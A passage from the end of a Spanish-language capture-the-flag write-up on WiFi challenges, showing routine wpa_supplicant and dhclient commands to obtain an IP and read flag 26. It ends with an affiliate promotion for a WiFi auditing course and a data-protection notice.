  • -c wifi-global.conf: Especifica el archivo de configuración que wpa_supplicant usará para establecer la conexión Wi-Fi. Este archivo contiene las configuraciones necesarias para autenticar y conectarse a la red deseada.

A continuación, liberamos la IP que se nos ha podido asignar y solicitamos una nueva dirección IP.

Estos comandos evitan que se arrastre una IP de una red anterior.

sudo dhclient -r wlan4
sudo dhclient -v wlan4
Solicitando una IP nueva

Una vez obtenida una IP en la red, nos conectamos a ella a través del navegador y vemos la flag del reto 26

Flag 26

Con esta flag, completamos la sección MGT.

Challenges del apartado MGT completados

¡Nos vemos en el próximo! 😊

🚀 ¿Quieres especializarte en auditorías WiFi?

Si este artículo te ha resultado útil y quieres dar el siguiente paso, el CWP es uno de los cursos que recomiendo para aprender auditorías WiFi de forma práctica y estructurada.

✅ Laboratorios prácticos
✅ Metodología profesional
✅ Certificación incluida
✅ Ideal para pentesters y auditores

Versión Español

Versión Inglés

Enlace de afiliado, al comprar desde este enlace apoyas el contenido de Cyber0asis sin coste adicional para ti 🤗

Contacta con nosotros

Información básica sobre el tratamiento de datos personales:

Responsable: Carolina Gómez Uriarte.
Finalidad: Responder a tu comentario, duda, solicitud de información o presupuesto.
Legitimación: Interés legítimo en atender tu petición y, cuando proceda, aplicación de medidas precontractuales.
Derechos: acceso, rectificación, supresión, limitación del tratamiento, oposición, portabilidad, a no ser objeto de decisiones individuales automatizadas sin tu consentimiento y a presentar una reclamación ante una autoridad de control.
Información adicional: En la Política de Privacidad, encontrarás información adicional sobre la recopilación y el uso de tu información personal, así como de los derechos que tienes en relación con dichos datos.